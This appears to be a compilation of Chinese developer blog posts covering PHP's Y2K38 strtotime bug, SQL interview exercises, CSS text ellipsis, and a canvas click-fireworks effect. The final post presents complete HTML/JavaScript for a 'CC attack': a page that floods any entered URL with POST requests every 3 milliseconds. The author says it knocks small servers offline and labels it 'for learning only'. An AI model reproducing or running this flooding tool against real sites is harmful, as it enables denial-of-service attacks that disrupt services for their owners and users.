PHP的strtotime计算2038年以上日期的时间戳错误 今天同事遇到一个bug，获取有效期值错误，同样的代码，其他开发人员操作都没有问题。在定位跟踪后发现有效期有值，如下：$expireDate = 2133999048;但是在该时间戳的基础上加上1 year后, $expireDate的值为false,而不是正确的时间戳。 $expireDate = strtotime("+1 year", $expireDate);Y2K38 漏洞     {message} Y2K38，又称 Unix Millennium Bug，此漏洞将会影响到所有 32 位系统下用 UNIX 时间戳整数来记录时间的 PHP，及其它编程语言。一个整型的变量所能保存的最大时间为 2038 年01月19 日 03:14:07。超过这个时间后，整型数值将会溢出。从 1970 年 01 月 01 日开始，到世界标准时 2038 年 01 月 19 日星期二凌晨 03:14:07 超过 2^31 – 1。2^31 – 1 就是0x7FFFFFFF，相信很多编程员都看过，在 32 位系统里，这表示最大的有符号整数。如果用它来表示秒数，大概相当于 68.1 年，从 1970 年到 2038 年刚好是这个数。{/message}其他解决方案就是升级 php版本到7.1以上

面试中遇到的sql练习题 面试中面试官问你啥问题，小编都给你整理在这里了。每天都会整理一份最接地气的面试题，希望能帮助到你！1.用一条SQL 语句查询出每门课都大于80 分的学生姓名？// 第一种方式：select name from table where name not in ( select name from table where score< 80 );// 第二种方式：select name from table group by name having min(score) >= 80;2.删除除了自动编号id不同, 其他都相同的学生冗余信息？字段分别是：id，stunum，name，course，scoredelete table where id not in ( select min(id) from table group by stunum,name,course,score );3.一个叫 team 的表，里面只有一个字段name, 一共有4 条纪录，分别是a,b,c,d, 对应四个球对，现在四个球对进行比赛，用一条sql 语句显示所有可能的比赛组合?// 所有组合：ab,ac,ad, bc,bd, cd 所有左侧字母都小于右侧字母select a.name,b.name from team a,team b where a.name < b.name order by a.name,b.name ;4.从TestDB 数据表中查询出所有月份的发生额都比101 科目相应月份的发生额高的科目？AccID ：科目代码，Occmonth ：发生额月份，DebitOccur ：发生额select a.AccID from TestDB a,( select Occmonth,max(DebitOccur) from TestDB where AccID = '101' group by Occmonth )b where a.Occmonth = b.Occmonth and a.DebitOccur > b.DebitOccur;5.怎么把这样一个表儿查成这样一个结果select year, (select amount from table m where month=1 and m.year=aaa.year) as m1, (select amount from table m where month=2 and m.year=aaa.year) as m2, (select amount from table m where month=3 and m.year=aaa.year) as m3, (select amount from table m where month=4 and m.year=aaa.year) as m4 from table group by year6.复制表( 只复制结构, 源表名：a新表名：b)select * into b from a where 1<>1; // where1=1，拷贝表结构和数据内容7.拷贝表( 拷贝数据, 源表名：a目标表名：b)insert into b(a, b, c) select d,e,f from a;8.显示文章、提交人和最后回复时间select a.title,a.username,b.adddate from table a, (select max(adddate) adddate from table where table.title=a.title) b;9.日程安排提前五分钟提醒select * from 日程安排 where datediff('minute',f 开始时间,getdate())>5；10.两张关联表，删除主表中已经在副表中没有的信息delete from info where not exists ( select * from infobz where info.infid=infobz.infid )；11.有两个表A 和B ，均有key 和value 两个字段，如果B 的key 在A 中也有，就把B 的value 换为A 中对应的value？update b set b.value=(select a.value from a where a.key=b.key) where b.id in( select b.id from b,a where b.key=a.key );12.已知有如下4张表：学生表：STUDENT(S#,SNAME,SAGE,SSEX)课程表：COURSE(C#,CNAME,T#)成绩表：SC(S#,C#,SCORE)教师表：TEACHER(T#,TNAME)(1)查询课程编号为“001”的课程比“002”的课程成绩高的所有学生的学号？select x.sno,x.score,y.score from sc x,sc y where x.cno=1001 and y.cno=1002 and x.sno=y.sno and x.score> y.score；(2)查询平均成绩大于60分的学生的学号和平均成绩？select sno,avg(score) from sc group by sno having avg(score)>60；(3)查询所有学生的学号、姓名、选课数、总成绩？select sc.sno,sname,count(cno),sum(score) from student join sc on student.sno=sc.sno group by sc.sno,sname；(4)查询姓“悟”的老师的个数？select count(Tname) from teacher where Tname like'悟%'；(5)查询没学过“悟空”老师课的学生的学号、姓名？select sno,sname from student where sno not in( select sno from SC where cno in( select cno from course where tno in( select tno from teacher where tname='悟空' ) ) )；

Css设置单行文本多行文本溢出隐藏并以省略号显示 单行文本溢出white-space: nowrap; text-overflow: ellipsis; overflow: hidden;两行溢出display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; text-overflow: ellipsis;

为你的网站添加点击散开特效 <canvas id="fireworks" style="position: fixed; left: 0px; top: 0px; pointer-events: none; z-index: 2147483647; width: 1920px; height: 151px;" width="3840" height="302"></canvas> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/animejs@3.0.1/lib/anime.min.js"></script> <script type="text/javascript"> function updateCoords(e) { pointerX = (e.clientX || e.touches[0].clientX) - canvasEl.getBoundingClientRect().left, pointerY = e.clientY || e.touches[0].clientY - canvasEl.getBoundingClientRect().top } function setParticuleDirection(e) { var t = anime.random(0, 360) * Math.PI / 180, a = anime.random(50, 180), n = [-1, 1][anime.random(0, 1)] * a; return { x: e.x + n * Math.cos(t), y: e.y + n * Math.sin(t) } } function createParticule(e, t) { var a = {}; return a.x = e, a.y = t, a.color = colors[anime.random(0, colors.length - 1)], a.radius = anime.random(16, 32), a.endPos = setParticuleDirection(a), a.draw = function() { ctx.beginPath(), ctx.arc(a.x, a.y, a.radius, 0, 2 * Math.PI, !0), ctx.fillStyle = a.color, ctx.fill() }, a } function createCircle(e, t) { var a = {}; return a.x = e, a.y = t, a.color = "#F00", a.radius = .1, a.alpha = .5, a.lineWidth = 6, a.draw = function() { ctx.globalAlpha = a.alpha, ctx.beginPath(), ctx.arc(a.x, a.y, a.radius, 0, 2 * Math.PI, !0), ctx.lineWidth = a.lineWidth, ctx.strokeStyle = a.color, ctx.stroke(), ctx.globalAlpha = 1 }, a } function renderParticule(e) { for (var t = 0; t < e.animatables.length; t++) e.animatables[t].target.draw() } function animateParticules(e, t) { for (var a = createCircle(e, t), n = [], i = 0; i < numberOfParticules; i++) n.push(createParticule(e, t)); anime.timeline().add({ targets: n, x: function(e) { return e.endPos.x }, y: function(e) { return e.endPos.y }, radius: .1, duration: anime.random(1200, 1800), easing: "easeOutExpo", update: renderParticule }).add({ targets: a, radius: anime.random(80, 160), lineWidth: 0, alpha: { value: 0, easing: "linear", duration: anime.random(600, 800) }, duration: anime.random(1200, 1800), easing: "easeOutExpo", update: renderParticule, offset: 0 }) } function debounce(fn, delay) { var timer return function() { var context = this var args = arguments clearTimeout(timer) timer = setTimeout(function() { fn.apply(context, args) }, delay) } } var canvasEl = document.querySelector("#fireworks"); if (canvasEl) { var ctx = canvasEl.getContext("2d"), numberOfParticules = 30, pointerX = 0, pointerY = 0, tap = "mousedown", colors = ["#FF1461", "#18FF92", "#5A87FF", "#FBF38C"], setCanvasSize = debounce(function() { canvasEl.width = 2 * window.innerWidth, canvasEl.height = 2 * window.innerHeight, canvasEl.style.width = window.innerWidth + "px", canvasEl.style.height = window.innerHeight + "px", canvasEl.getContext("2d").scale(2, 2) }, 500), render = anime({ duration: 1 / 0, update: function() { ctx.clearRect(0, 0, canvasEl.width, canvasEl.height) } }); document.addEventListener(tap, function(e) { "sidebar" !== e.target.id && "toggle-sidebar" !== e.target.id && "A" !== e.target.nodeName && "IMG" !== e.target.nodeName && (render.play(), updateCoords(e), animateParticules(pointerX, pointerY)) }, !1), setCanvasSize(), window.addEventListener("resize", setCanvasSize, !1) } </script>

使用JS实现CC网站攻击 今天兴趣来潮，使用原生js写了一个cc攻击，当然只是简单的写一下，对小服务器来说，可以轻松的压出502，服务器牛逼的话，没什么效果，比如本站就是小服务器，cc压下就502了，下面是源码，仅供学习使用.<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title> <style> body { display: flex; align-items: center; justify-content: center; } input { height: 35px; padding: 0 10px; box-sizing: border-box; outline: none; } </style> </head> <body> <input type="text" placeholder="请输入需要被CC的网址" style="margin-right: 10px" /> <input type="button" value="开始" /> <script> let timer = null; const input = document.querySelector('input[type="text"]'); const button = document.querySelector('input[type="button"]'); button.addEventListener('click', function () { const url = input.value; if (!url) return alert('请输入需要被压的域名'); if (!url.startsWith('http')) return alert('请输入http或https开头的网址'); if (this.value === '开始') { this.value = '停止'; timer = setInterval(() => { const xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('name=name'); }, 3); } else { this.value = '开始'; clearInterval(timer); } }); </script> </body> </html>